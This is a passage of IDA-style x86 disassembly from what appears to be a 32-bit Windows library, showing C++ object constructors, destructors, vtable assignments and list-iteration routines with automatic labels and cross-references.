loc_69B68A24: ; CODE XREF: sub_69B68A03+12j
lea ebx, [esi+48h]
cmp dword ptr [ebx], 0
jnz short loc_69B68A51
push 38h
call sub_69B17EF3
mov ebp, eax
mov ecx, ebp
mov dword ptr [ebp+8], 0Ah
call sub_69B19118
push ebp
push ebx
mov dword ptr [ebp+0], offset off_69B1EE00
call sub_69B17320
loc_69B68A51: ; CODE XREF: sub_69B68A03+27j
mov eax, [ebx]
mov eax, [eax+8]
and dword ptr [esi+44h], 0
mov [esp+1Ch+var_8], eax
jmp loc_69B68BBA
; ---------------------------------------------------------------------------
loc_69B68A63: ; CODE XREF: sub_69B68A03+1BDj
test byte ptr [esi+50h], 1
jz short loc_69B68A71
mov edi, [esi+58h]
and edi, 0FFFFFFFEh
jmp short loc_69B68A7E
; ---------------------------------------------------------------------------
loc_69B68A71: ; CODE XREF: sub_69B68A03+64j
mov ecx, [esi+58h]
and ecx, 0FFFFFFFEh
mov eax, [ecx]
call dword ptr [eax+64h]
mov edi, eax
loc_69B68A7E: ; CODE XREF: sub_69B68A03+6Cj
mov ecx, [esi+14h]
mov eax, [ecx]
push 0
call dword ptr [eax+60h]
and [esp+1Ch+var_C], 0
mov [esp+1Ch+var_4], eax
jmp short loc_69B68B0D
; ---------------------------------------------------------------------------
loc_69B68A93: ; CODE XREF: sub_69B68A03+10Cj
inc [esp+1Ch+var_C]
push edi
lea ecx, [esi+38h]
call sub_69B6DAAE
test al, al
jnz short loc_69B68B11
mov ecx, [esi+4Ch]
test ecx, ecx
jz short loc_69B68ABA
mov eax, [ecx]
push edi
push 0
push dword ptr [esi+18h]
call dword ptr [eax+4Ch]
test eax, eax
jz short loc_69B68AF4
loc_69B68ABA: ; CODE XREF: sub_69B68A03+A6j
xor eax, eax
mov al, [esi+1Ch]
mov ecx, edi
lea ebp, [esi+40h]
and eax, 0FFFFFF01h
push eax
mov eax, [edi]
call dword ptr [eax+44h]
cmp eax, 0Fh
setz al
mov ecx, ebp
push eax
push edi
call sub_69B6D9D2
mov ecx, ebp
call sub_69B6DA4B
mov ecx, [esp+1Ch+var_C]
mov [eax+10h], ecx
test byte ptr [esi+50h], 4
jz short loc_69B68AF4
xor edi, edi
loc_69B68AF4: ; CODE XREF: sub_69B68A03+B5j
; sub_69B68A03+EDj
test edi, edi
jz short loc_69B68B03
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+64h]
mov edi, eax
jmp short loc_69B68B05
; ---------------------------------------------------------------------------
loc_69B68B03: ; CODE XREF: sub_69B68A03+F3j
xor edi, edi
loc_69B68B05: ; CODE XREF: sub_69B68A03+FEj
test byte ptr [esi+50h], 2
jz short loc_69B68B0D
xor edi, edi
loc_69B68B0D: ; CODE XREF: sub_69B68A03+8Ej
; sub_69B68A03+106j
test edi, edi
jnz short loc_69B68A93
loc_69B68B11: ; CODE XREF: sub_69B68A03+9Fj
mov ebp, [esi+44h]
jmp short loc_69B68B91
; ---------------------------------------------------------------------------
loc_69B68B16: ; CODE XREF: sub_69B68A03+18Fj
mov ecx, [esi+40h]
push ebp
call sub_69B6871B
mov edi, eax
xor eax, eax
mov al, [esi+1Ch]
lea ecx, [esi+38h]
and eax, 0FFFFFF01h
push eax
mov eax, [edi+0Ch]
shr eax, 1
and eax, 0FFFFFF01h
push eax
mov eax, [edi]
and eax, 0FFFFFFFEh
push eax
call sub_69B6D9D2
lea ecx, [esi+38h]
call sub_69B6DA4B
mov ecx, [edi+10h]
mov [eax+10h], ecx
mov eax, [esp+1Ch+var_8]
cmp eax, [esi+3Ch]
jg short loc_69B68B71
mov ecx, [ebx]
add eax, eax
push eax
mov [esp+20h+var_8], eax
call sub_69B660A0
push eax
push ebx
call sub_69B17320
loc_69B68B71: ; CODE XREF: sub_69B68A03+157j
mov eax, [esi+3Ch]
mov ecx, [ebx]
dec eax
push eax
call sub_69B1A954
push [esp+1Ch+var_4]
mov edi, eax
push 0
call sub_69B6D2B6
push eax
push edi
call sub_69B17320
loc_69B68B91: ; CODE XREF: sub_69B68A03+111j
dec ebp
jns short loc_69B68B16
lea edi, [esi+58h]
push 0
mov ecx, edi
call sub_69B677FE
and dword ptr [esi+44h], 0
mov ecx, esi
call sub_69B65903
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
push eax
mov ecx, edi
call sub_69B677FE
loc_69B68BBA: ; CODE XREF: sub_69B68A03+5Bj
test dword ptr [edi], 0FFFFFFFEh
jnz loc_69B68A63
or dword ptr [esi+50h], 8
and dword ptr [esi+54h], 0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0Ch
retn
sub_69B68A03 endp
; =============== S U B R O U T I N E =======================================
sub_69B68BD6 proc near ; CODE XREF: sub_69B68C66+Fp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B6D3CA
xor eax, eax
mov dword ptr [esi], offset off_69B134D0
mov dword ptr [esi+8], offset off_69B13470
mov dword ptr [esi+10h], offset off_69B133D8
mov [esi+38h], eax
mov [esi+40h], eax
mov [esi+48h], eax
mov [esi+4Ch], eax
mov [esi+58h], eax
mov eax, esi
pop esi
retn 4
sub_69B68BD6 endp
; =============== S U B R O U T I N E =======================================
sub_69B68C0D proc near ; CODE XREF: sub_69B689B6+3j
; .text:69B689C9j
; DATA XREF: ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B68C28
test [esp+4+arg_0], 1
jz short loc_69B68C22
push esi
call sub_69B1829F
loc_69B68C22: ; CODE XREF: sub_69B68C0D+Dj
mov eax, esi
pop esi
retn 4
sub_69B68C0D endp
; =============== S U B R O U T I N E =======================================
sub_69B68C28 proc near ; CODE XREF: sub_69B68C0D+3p
push esi
mov esi, ecx
lea eax, [esi+58h]
test byte ptr [eax], 1
jz short loc_69B68C3C
and dword ptr [eax], 0FFFFFFFEh
push eax
call sub_69B17230
loc_69B68C3C: ; CODE XREF: sub_69B68C28+9j
lea eax, [esi+4Ch]
push eax
call sub_69B17230
lea eax, [esi+48h]
push eax
call sub_69B17230
lea ecx, [esi+40h]
call sub_69B67F03
lea ecx, [esi+38h]
call sub_69B67F03
mov ecx, esi
pop esi
jmp sub_69B65BC0
sub_69B68C28 endp
; =============== S U B R O U T I N E =======================================
sub_69B68C66 proc near ; DATA XREF: .text:69B686D4o
push 5Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B68C7B
push 0
mov ecx, eax
call sub_69B68BD6
retn
; ---------------------------------------------------------------------------
loc_69B68C7B: ; CODE XREF: sub_69B68C66+9j
xor eax, eax
retn
sub_69B68C66 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B68C7E proc near ; CODE XREF: sub_69B5FEEC+6Ap
; sub_69B60230+13Fp ...
push ebp
mov ebp, esp
push 5Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B68C94
pop ebp
mov ecx, eax
jmp sub_69B6893F
; ---------------------------------------------------------------------------
loc_69B68C94: ; CODE XREF: sub_69B68C7E+Cj
xor eax, eax
pop ebp
retn 18h
sub_69B68C7E endp
; =============== S U B R O U T I N E =======================================
sub_69B68C9A proc near ; DATA XREF: .text:69B13514o
push esi
mov esi, ecx
test byte ptr [esi+50h], 8
jnz short loc_69B68CA8
call sub_69B68A03
loc_69B68CA8: ; CODE XREF: sub_69B68C9A+7j
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_69B68CCC
mov eax, [esi+54h]
cmp ecx, eax
jbe short loc_69B68CCC
lea ecx, [eax+1]
mov [esi+54h], ecx
mov ecx, [esi+38h]
push eax
call sub_69B6871B
mov eax, [eax]
and eax, 0FFFFFFFEh
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B68CCC: ; CODE XREF: sub_69B68C9A+13j
; sub_69B68C9A+1Aj
xor eax, eax
pop esi
retn
sub_69B68C9A endp
; =============== S U B R O U T I N E =======================================
sub_69B68CD0 proc near ; CODE XREF: sub_69B68EB6+3j
; .text:69B68EC9j
; DATA XREF: ...
mov eax, offset off_69B68CD8
retn
sub_69B68CD0 endp
; ---------------------------------------------------------------------------
align 4
off_69B68CD8 dd offset off_69B29C7C ; DATA XREF: sub_69B68CD0o
dd offset sub_69B6921A
; =============== S U B R O U T I N E =======================================
sub_69B68CE0 proc near ; DATA XREF: .text:69B13604o
push esi
mov esi, ecx
call sub_69B6CA4E
test byte ptr [esi+4Ch], 1
pop esi
jz short locret_69B68CF2
and eax, 0FFFFFFFEh
locret_69B68CF2: ; CODE XREF: sub_69B68CE0+Dj
retn
sub_69B68CE0 endp
; =============== S U B R O U T I N E =======================================
sub_69B68CF3 proc near ; DATA XREF: .text:69B13588o
push esi
mov esi, ecx
mov eax, [esi]
call dword ptr [eax+3Ch]
test eax, eax
jz short loc_69B68D20
push edi
lea edi, [esi+28h]
mov ecx, edi
call sub_69B6D972
test byte ptr [esi+44h], 1
jz short loc_69B68D17
mov ecx, edi
call sub_69B6D972
loc_69B68D17: ; CODE XREF: sub_69B68CF3+1Bj
pop edi
mov ecx, esi
pop esi
jmp sub_69B6C995
; ---------------------------------------------------------------------------
loc_69B68D20: ; CODE XREF: sub_69B68CF3+Aj
xor eax, eax
pop esi
retn
sub_69B68CF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B68D24 proc near ; DATA XREF: .text:69B13568o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, ecx
xor eax, eax
cmp [esi+4], eax
push edi
mov [esi+2Ch], eax
jz short loc_69B68D39
xor edi, edi
jmp short loc_69B68D3F
; ---------------------------------------------------------------------------
loc_69B68D39: ; CODE XREF: sub_69B68D24+Fj
mov edi, [ebp+arg_4]
mov [ebp+arg_4], eax
loc_69B68D3F: ; CODE XREF: sub_69B68D24+13j
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B6CD21
lea ecx, [esi-10h]
mov eax, [ecx]
push edi
call dword ptr [eax+50h]
pop edi
pop esi
pop ebp
retn 0Ch
sub_69B68D24 endp
; =============== S U B R O U T I N E =======================================
sub_69B68D5E proc near ; DATA XREF: .text:69B1356Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_8]
test esi, esi
push edi
mov edi, ecx
jz short loc_69B68DAF
mov ebx, [esp+0Ch+arg_4]
cmp esi, ebx
jz short loc_69B68DAF
mov ecx, [edi+3Ch]
test ecx, ecx
jz short loc_69B68DAB
mov eax, [ecx]
push esi
push ebx
push [esp+14h+arg_0]
call dword ptr [eax+4Ch]
jmp short loc_69B68DA9
; ---------------------------------------------------------------------------
loc_69B68D87: ; CODE XREF: sub_69B68D5E+4Fj
cmp esi, ebx
jnz short loc_69B68D91
cmp byte ptr [edi+40h], 0
jz short loc_69B68DAF
loc_69B68D91: ; CODE XREF: sub_69B68D5E+2Bj
push esi
push ebx
push [esp+14h+arg_0]
mov ecx, edi
call sub_69B6CA2C
test eax, eax
jnz short loc_69B68DB1
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+64h]
loc_69B68DA9: ; CODE XREF: sub_69B68D5E+27j
mov esi, eax
loc_69B68DAB: ; CODE XREF: sub_69B68D5E+1Aj
test esi, esi
jnz short loc_69B68D87
loc_69B68DAF: ; CODE XREF: sub_69B68D5E+Bj
; sub_69B68D5E+13j ...
xor eax, eax
loc_69B68DB1: ; CODE XREF: sub_69B68D5E+42j
pop edi
pop esi
pop ebx
retn 0Ch
sub_69B68D5E endp
; =============== S U B R O U T I N E =======================================
sub_69B68DB7 proc near ; DATA XREF: .text:69B13650o
cmp byte ptr [ecx+50h], 0
mov eax, dword_69B9B418
jnz short locret_69B68DC7
mov eax, dword_69B9B420
locret_69B68DC7: ; CODE XREF: sub_69B68DB7+9j
retn
sub_69B68DB7 endp
; =============== S U B R O U T I N E =======================================
sub_69B68DC8 proc near ; CODE XREF: sub_69B68EDE+50p
; sub_69B69132+2Cp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = byte ptr 0Ch
mov al, [esp+arg_8]
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov [esi+50h], al
push edi
lea eax, [esi+4Ch]
push eax
call sub_69B17320
test edi, edi
jz short loc_69B68DFE
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+5Ch]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+4Ch]
not eax
xor eax, [esi+54h]
and eax, 1
xor [esi+54h], eax
loc_69B68DFE: ; CODE XREF: sub_69B68DC8+1Bj
movzx eax, [esp+8+arg_4]
pop edi
mov [esi+40h], eax
mov [esi+44h], eax
mov [esi+48h], eax
pop esi
retn 0Ch
sub_69B68DC8 endp
; =============== S U B R O U T I N E =======================================
sub_69B68E11 proc near ; CODE XREF: sub_69B68ECE+3j
; sub_69B68ED6+3j
; DATA XREF: ...
push esi
mov esi, ecx
push 0
lea eax, [esi+4Ch]
push eax
call sub_69B17320
push 0
lea ecx, [esi+40h]
call sub_69B677FE
push 0
lea ecx, [esi+44h]
call sub_69B677FE
push 0
lea ecx, [esi+48h]
call sub_69B677FE
mov ecx, esi
pop esi
jmp sub_69B6CBC6
sub_69B68E11 endp
; =============== S U B R O U T I N E =======================================
sub_69B68E45 proc near ; DATA XREF: .text:69B13570o
arg_0 = dword ptr 4
mov ecx, [ecx+3Ch]
test ecx, ecx
jz short loc_69B68E51
mov eax, [ecx]
jmp dword ptr [eax+50h]
; ---------------------------------------------------------------------------
loc_69B68E51: ; CODE XREF: sub_69B68E45+5j
push dword_69B95A18
mov ecx, [esp+4+arg_0]
call sub_69B677BA
test al, al
jnz short locret_69B68E73
push dword_69B95A18
mov ecx, [esp+4+arg_0]
call sub_69B8A35C
locret_69B68E73: ; CODE XREF: sub_69B68E45+1Dj
retn 4
sub_69B68E45 endp
; =============== S U B R O U T I N E =======================================
sub_69B68E76 proc near ; DATA XREF: .text:69B13660o
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov edi, ecx
mov esi, [edi+3Ch]
sub esi, 2
push 0
pop ebx
js short loc_69B68EA4
loc_69B68E86: ; CODE XREF: sub_69B68E76+2Cj
mov ecx, [edi+38h]
push ebx
call sub_69B6871B
push dword ptr [eax+10h]
push [esp+10h+arg_0]
call sub_69B6D1E0
inc ebx
cmp ebx, esi
mov [esp+0Ch+arg_0], eax
jle short loc_69B68E86
loc_69B68EA4: ; CODE XREF: sub_69B68E76+Ej
mov eax, [esp+0Ch+arg_0]
pop edi
pop esi
pop ebx
retn 4
sub_69B68E76 endp
; ---------------------------------------------------------------------------
loc_69B68EAE: ; DATA XREF: .text:69B135C4o
sub ecx, 8
jmp sub_69B691B0
; =============== S U B R O U T I N E =======================================
sub_69B68EB6 proc near ; DATA XREF: .text:69B135D4o
sub ecx, 8
jmp sub_69B68CD0
sub_69B68EB6 endp
; ---------------------------------------------------------------------------
loc_69B68EBE: ; DATA XREF: .text:69B1352Co
sub ecx, 10h
jmp sub_69B691B0
; ---------------------------------------------------------------------------
loc_69B68EC6: ; DATA XREF: .text:69B1353Co
sub ecx, 10h
jmp sub_69B68CD0
; =============== S U B R O U T I N E =======================================
sub_69B68ECE proc near ; DATA XREF: .text:69B135ECo
sub ecx, 8
jmp sub_69B68E11
sub_69B68ECE endp
; =============== S U B R O U T I N E =======================================
sub_69B68ED6 proc near ; DATA XREF: .text:69B13554o
sub ecx, 10h
jmp sub_69B68E11
sub_69B68ED6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B68EDE proc near ; CODE XREF: sub_69B69232+11j
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
test eax, eax
push esi
mov esi, ecx
jnz short loc_69B68EEC
inc eax
loc_69B68EEC: ; CODE XREF: sub_69B68EDE+Bj
push [ebp+arg_C]
mov ecx, esi
push eax
push [ebp+arg_0]
call sub_69B6D314
movzx eax, byte ptr [ebp+arg_C]
push [ebp+arg_10]
mov dword ptr [esi], offset off_69B13618
push [ebp+arg_C]
mov dword ptr [esi+8], offset off_69B135B8
push [ebp+arg_4]
mov dword ptr [esi+10h], offset off_69B13520
and dword ptr [esi+38h], 0
mov [esi+40h], eax
mov [esi+44h], eax
mov [esi+48h], eax
and dword ptr [esi+4Ch], 0
mov ecx, esi
call sub_69B68DC8
mov eax, esi
pop esi
pop ebp
retn 14h
sub_69B68EDE endp
; =============== S U B R O U T I N E =======================================
sub_69B68F3A proc near ; DATA XREF: .text:69B13564o
push esi
mov esi, ecx
call sub_69B6CCB6
mov edx, [esi+38h]
and dword ptr [esi+2Ch], 0
lea ecx, [esi-10h]
mov eax, [ecx]
and edx, 0FFFFFFFEh
push edx
call dword ptr [eax+50h]
pop esi
retn
sub_69B68F3A endp
; =============== S U B R O U T I N E =======================================
sub_69B68F57 proc near ; DATA XREF: .text:69B13668o
arg_0 = dword ptr 4
push esi
mov esi, ecx
push edi
push [esp+8+arg_0]
lea edi, [esi+40h]
mov ecx, edi
call sub_69B677FE
test dword ptr [edi], 0FFFFFFFEh
jz short loc_69B68FC8
cmp byte ptr [esi+50h], 0
jz short loc_69B68F80
push edi
lea ecx, [esi+44h]
call sub_69B67A49
loc_69B68F80: ; CODE XREF: sub_69B68F57+1Ej
xor eax, eax
mov al, [esi+1Ch]
push ebx
lea ebx, [esi+38h]
mov ecx, ebx
and eax, 0FFFFFF01h
push eax
mov eax, [edi]
push 0
and eax, 0FFFFFFFEh
push eax
call sub_69B6D9D2
test byte ptr [esi+54h], 1
jz short loc_69B68FC7
xor eax, eax
mov al, [esi+1Ch]
mov ecx, ebx
and eax, 0FFFFFF01h
push eax
xor eax, eax
mov al, [esi+54h]
and eax, 0FFFFFF01h
push eax
mov eax, [edi]
and eax, 0FFFFFFFEh
push eax
call sub_69B6D9D2
loc_69B68FC7: ; CODE XREF: sub_69B68F57+4Bj
pop ebx
loc_69B68FC8: ; CODE XREF: sub_69B68F57+18j
pop edi
pop esi
retn 4
sub_69B68F57 endp
; =============== S U B R O U T I N E =======================================
sub_69B68FCD proc near ; DATA XREF: .text:69B135A0o
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B6CD55
cmp byte ptr [esp+4+arg_0], 0
jz short loc_69B68FF3
mov edx, [esi+38h]
and dword ptr [esi+2Ch], 0
lea ecx, [esi-10h]
mov eax, [ecx]
and edx, 0FFFFFFFEh
push edx
call dword ptr [eax+50h]
loc_69B68FF3: ; CODE XREF: sub_69B68FCD+11j
pop esi
retn 4
sub_69B68FCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B68FF7 proc near ; DATA XREF: .text:69B1365Co
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
mov al, [esi+1Ch]
push edi
and al, 1
lea edi, [esi+40h]
test dword ptr [edi], 0FFFFFFFEh
mov byte ptr [ebp+var_8], al
jnz short loc_69B6902E
mov eax, [esi]
call dword ptr [eax+40h]
push eax
mov ecx, edi
call sub_69B677FE
mov ecx, [edi]
mov eax, [esi]
and ecx, 0FFFFFFFEh
push ecx
mov ecx, esi
call dword ptr [eax+50h]
loc_69B6902E: ; CODE XREF: sub_69B68FF7+1Bj
; sub_69B68FF7+121j
xor ebx, ebx
cmp [esi+3Ch], ebx
jnz short loc_69B69082
mov ecx, esi
call sub_69B65903
test dword ptr [edi], 0FFFFFFFEh
jz short loc_69B6906E
loc_69B69044: ; CODE XREF: sub_69B68FF7+75j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
mov ebx, eax
test ebx, ebx
jz short loc_69B6906E
mov eax, [edi]
and eax, 0FFFFFFFEh
push eax
push ebx
call sub_69B6D872
test al, al
jz short loc_69B6906A
mov ecx, esi
xor ebx, ebx
call sub_69B65903
loc_69B6906A: ; CODE XREF: sub_69B68FF7+68j
test ebx, ebx
jz short loc_69B69044
loc_69B6906E: ; CODE XREF: sub_69B68FF7+4Bj
; sub_69B68FF7+58j
mov eax, [esi]
push ebx
mov ecx, esi
call dword ptr [eax+50h]
test dword ptr [edi], 0FFFFFFFEh
jz loc_69B6911D
loc_69B69082: ; CODE XREF: sub_69B68FF7+3Cj
lea ecx, [esi+38h]
call sub_69B6DA4B
mov [ebp+var_4], eax
mov eax, [esi+44h]
test eax, 0FFFFFFFEh
jz short loc_69B69102
and eax, 0FFFFFFFEh
jmp short loc_69B6910A
; ---------------------------------------------------------------------------
loc_69B6909C: ; CODE XREF: sub_69B68FF7+117j
test dword ptr [esi+44h], 0FFFFFFFEh
jnz short loc_69B690DF
push [ebp+var_8]
lea ecx, [esi+38h]
push 0
push ebx
call sub_69B6D9D2
test byte ptr [esi+54h], 1
mov [ebp+var_4], eax
jz short loc_69B690D6
push [ebp+var_8]
xor eax, eax
mov al, [esi+54h]
lea ecx, [esi+38h]
and eax, 0FFFFFF01h
push eax
push ebx
call sub_69B6D9D2
mov [ebp+var_4], eax
loc_69B690D6: ; CODE XREF: sub_69B68FF7+C3j
push ebx
lea ecx, [esi+44h]
call sub_69B677FE
loc_69B690DF: ; CODE XREF: sub_69B68FF7+ACj
mov ecx, [esi+4Ch]
test ecx, ecx
jz short loc_69B69121
mov edx, [edi]
mov eax, [ecx]
push ebx
and edx, 0FFFFFFFEh
push edx
push dword ptr [esi+18h]
call dword ptr [eax+4Ch]
test eax, eax
jnz short loc_69B69121
push eax
lea ecx, [esi+44h]
call sub_69B677FE
loc_69B69102: ; CODE XREF: sub_69B68FF7+9Ej
push [ebp+var_4]
call sub_69B6CF71
loc_69B6910A: ; CODE XREF: sub_69B68FF7+A3j
mov ebx, eax
test ebx, ebx
jnz short loc_69B6909C
lea ecx, [esi+38h]
call sub_69B6D972
jmp loc_69B6902E
; ---------------------------------------------------------------------------
loc_69B6911D: ; CODE XREF: sub_69B68FF7+85j
xor eax, eax
jmp short loc_69B6912D
; ---------------------------------------------------------------------------
loc_69B69121: ; CODE XREF: sub_69B68FF7+EDj
; sub_69B68FF7+100j
push 0
lea ecx, [esi+44h]
call sub_69B677FE
mov eax, ebx
loc_69B6912D: ; CODE XREF: sub_69B68FF7+128j
pop edi
pop esi
pop ebx
leave
retn
sub_69B68FF7 endp
; =============== S U B R O U T I N E =======================================
sub_69B69132 proc near ; DATA XREF: .text:69B1359Co
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov esi, ecx
call sub_69B6CFE2
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov edi, eax
xor eax, eax
mov al, [esi+40h]
mov ecx, edi
push eax
xor eax, eax
mov al, [esi+0Ch]
and eax, 0FFFFFF01h
push eax
push dword ptr [esi+3Ch]
call sub_69B68DC8
mov ecx, [esi+38h]
mov eax, [edi]
and ecx, 0FFFFFFFEh
push ecx
mov ecx, edi
call dword ptr [eax+50h]
lea eax, [edi+10h]
pop edi
pop esi
retn 4
sub_69B69132 endp
; =============== S U B R O U T I N E =======================================
sub_69B69179 proc near ; CODE XREF: sub_69B6921A+Fp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B6D3CA
xor eax, eax
mov dword ptr [esi], offset off_69B13618
mov dword ptr [esi+8], offset off_69B135B8
mov dword ptr [esi+10h], offset off_69B13520
mov [esi+38h], eax
mov [esi+40h], eax
mov [esi+44h], eax
mov [esi+48h], eax
mov [esi+4Ch], eax
mov eax, esi
pop esi
retn 4
sub_69B69179 endp
; =============== S U B R O U T I N E =======================================
sub_69B691B0 proc near ; CODE XREF: .text:69B68EB1j
; .text:69B68EC1j
; DATA XREF: ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B691CB
test [esp+4+arg_0], 1
jz short loc_69B691C5
push esi
call sub_69B1829F
loc_69B691C5: ; CODE XREF: sub_69B691B0+Dj
mov eax, esi
pop esi
retn 4
sub_69B691B0 endp
; =============== S U B R O U T I N E =======================================
sub_69B691CB proc near ; CODE XREF: sub_69B691B0+3p
push esi
mov esi, ecx
lea eax, [esi+4Ch]
push eax
call sub_69B17230
lea eax, [esi+48h]
test byte ptr [eax], 1
jz short loc_69B691E8
and dword ptr [eax], 0FFFFFFFEh
push eax
call sub_69B17230
loc_69B691E8: ; CODE XREF: sub_69B691CB+12j
lea eax, [esi+44h]
test byte ptr [eax], 1
jz short loc_69B691F9
and dword ptr [eax], 0FFFFFFFEh
push eax
call sub_69B17230
loc_69B691F9: ; CODE XREF: sub_69B691CB+23j
lea eax, [esi+40h]
test byte ptr [eax], 1
jz short loc_69B6920A
and dword ptr [eax], 0FFFFFFFEh
push eax
call sub_69B17230
loc_69B6920A: ; CODE XREF: sub_69B691CB+34j
lea ecx, [esi+38h]
call sub_69B67F03
mov ecx, esi
pop esi
jmp sub_69B65BC0
sub_69B691CB endp
; =============== S U B R O U T I N E =======================================
sub_69B6921A proc near ; DATA XREF: .text:69B68CDCo
push 58h
call sub_69B17EF3
test eax, eax
jz short loc_69B6922F
push 0
mov ecx, eax
call sub_69B69179
retn
; ---------------------------------------------------------------------------
loc_69B6922F: ; CODE XREF: sub_69B6921A+9j
xor eax, eax
retn
sub_69B6921A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B69232 proc near ; CODE XREF: sub_69B60160+40p
; sub_69B60160+B5p ...
push ebp
mov ebp, esp
push 58h
call sub_69B17EF3
test eax, eax
jz short loc_69B69248
pop ebp
mov ecx, eax
jmp sub_69B68EDE
; ---------------------------------------------------------------------------
loc_69B69248: ; CODE XREF: sub_69B69232+Cj
xor eax, eax
pop ebp
retn 14h
sub_69B69232 endp
; =============== S U B R O U T I N E =======================================
sub_69B6924E proc near ; CODE XREF: sub_69B692DE+3j
; .text:69B692EEj
; DATA XREF: ...
mov eax, offset off_69B69254
retn
sub_69B6924E endp
; ---------------------------------------------------------------------------
off_69B69254 dd offset off_69B29718 ; DATA XREF: sub_69B6924Eo
dd offset sub_69B69334
; =============== S U B R O U T I N E =======================================
sub_69B6925C proc near ; DATA XREF: .text:69B13754o
mov eax, 305h
retn
sub_69B6925C endp
; =============== S U B R O U T I N E =======================================
sub_69B69262 proc near ; DATA XREF: .text:69B137A0o
mov eax, dword_69B9B3D8
retn
sub_69B69262 endp
; =============== S U B R O U T I N E =======================================
sub_69B69268 proc near ; DATA XREF: .text:69B136B8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, ecx
mov ecx, [esp+4+arg_4]
test ecx, ecx
jz short loc_69B69280
mov eax, [ecx]
call dword ptr [eax+0B4h]
mov eax, [eax+4Ch]
jmp short loc_69B69282
; ---------------------------------------------------------------------------
loc_69B69280: ; CODE XREF: sub_69B69268+9j
xor eax, eax
loc_69B69282: ; CODE XREF: sub_69B69268+16j
push [esp+4+arg_8]
mov ecx, esi
push eax
push [esp+0Ch+arg_0]
call sub_69B6787C
pop esi
retn 0Ch
sub_69B69268 endp
; =============== S U B R O U T I N E =======================================
sub_69B69296 proc near ; DATA XREF: .text:69B136BCo
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov ecx, eax
mov eax, esi
sub eax, [ecx+4Ch]
neg eax
sbb eax, eax
not eax
and eax, esi
pop esi
retn 0Ch
sub_69B69296 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B6934C
loc_69B692B8: ; CODE XREF: sub_69B6934C+Dj
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B67B17
mov dword ptr [esi], offset off_69B13768
mov dword ptr [esi+8], offset off_69B13708
mov dword ptr [esi+10h], offset off_69B13670
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B6934C
; =============== S U B R O U T I N E =======================================
sub_69B692DE proc near ; DATA XREF: .text:69B13724o
sub ecx, 8
jmp sub_69B6924E
sub_69B692DE endp
; ---------------------------------------------------------------------------
loc_69B692E6: ; DATA XREF: .text:69B13004o
; .text:69B1367Co
sub ecx, 10h
jmp short sub_69B69319
; ---------------------------------------------------------------------------
loc_69B692EB: ; DATA XREF: .text:69B1368Co
sub ecx, 10h
jmp sub_69B6924E
; =============== S U B R O U T I N E =======================================
sub_69B692F3 proc near ; CODE XREF: sub_69B69334+Fp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B67C1F
mov dword ptr [esi], offset off_69B13768
mov dword ptr [esi+8], offset off_69B13708
mov dword ptr [esi+10h], offset off_69B13670
mov eax, esi
pop esi
retn 4
sub_69B692F3 endp
; =============== S U B R O U T I N E =======================================
sub_69B69319 proc near ; CODE XREF: sub_69B67AEF+3j
; .text:69B692E9j
; DATA XREF: ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B67C93
test [esp+4+arg_0], 1
jz short loc_69B6932E
push esi
call sub_69B1829F
loc_69B6932E: ; CODE XREF: sub_69B69319+Dj
mov eax, esi
pop esi
retn 4
sub_69B69319 endp
; =============== S U B R O U T I N E =======================================
sub_69B69334 proc near ; DATA XREF: .text:69B69258o
push 4Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B69349
push 0
mov ecx, eax
call sub_69B692F3
retn
; ---------------------------------------------------------------------------
loc_69B69349: ; CODE XREF: sub_69B69334+9j
xor eax, eax
retn
sub_69B69334 endp
; =============== S U B R O U T I N E =======================================
sub_69B6934C proc near ; CODE XREF: sub_69B60388+22p
; sub_69B60388+7Cp ...
